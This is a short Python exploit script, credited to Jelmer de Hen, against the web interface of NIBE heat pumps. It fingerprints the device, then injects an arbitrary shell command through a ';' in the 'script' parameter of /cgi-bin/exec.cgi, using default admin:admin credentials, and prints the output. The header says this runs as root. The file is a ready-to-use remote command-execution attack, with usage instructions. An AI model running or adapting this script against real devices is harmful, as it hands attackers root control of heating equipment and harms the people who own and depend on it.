#!/usr/bin/python
import socket,sys,os,base64
# NIBE heat pump RCE exploit
#
# Written by Jelmer de Hen
# Published at http://h.ackack.net/?p=302
#
# Web interface is running with root rights
#


def finger_heatpump(ip, port):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((ip, port))
  s.send("GET / HTTP/1.1\n\n")
  header = s.recv(1024)
  s.close()
  if header.find("NIBE") !=-1:
    return 1
  else:
    return 0

def exploit_pump(ip, port, command, basic_auth):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((ip, port))
  s.send("GET /cgi-bin/exec.cgi?script=;%20"+command+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
  cmd_result = ""
  while s.recv(1024):
    cmd_result = cmd_result + s.recv(1024)
  s.close()
  return cmd_result

def instructions():
  print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
  print "Written by Jelmer de Hen"
  print "published at http://h.ackack.net/?p=302"
  print "Examples (for spaces in commands use %20 instead of \"\x20\"):"
  print sys.argv[0]+" 127.0.0.1 80 \"ls%20-al\""
  sys.exit(1)

def main():
  if len(sys.argv)==4 or len(sys.argv)==6:
    try:
      ip = sys.argv[1]
      port = int(sys.argv[2])
      command = sys.argv[3]
    except:
      instructions()
    try:
      basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
    except:
      basic_auth = base64.b64encode("admin:admin")

    if finger_heatpump(ip, port) == 1:
      print "[+] Fingerprint scan success"
      command_result = exploit_pump(ip, port, command, basic_auth)
      if len(command_result)==0:
        print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
      else:
        print "[+] Contents of "+command_result+":"
        print command_result
    else:
      print "[-] Fingerprint scan failed"

  else:
    instructions()

if __name__ == "__main__":
  sys.exit(main())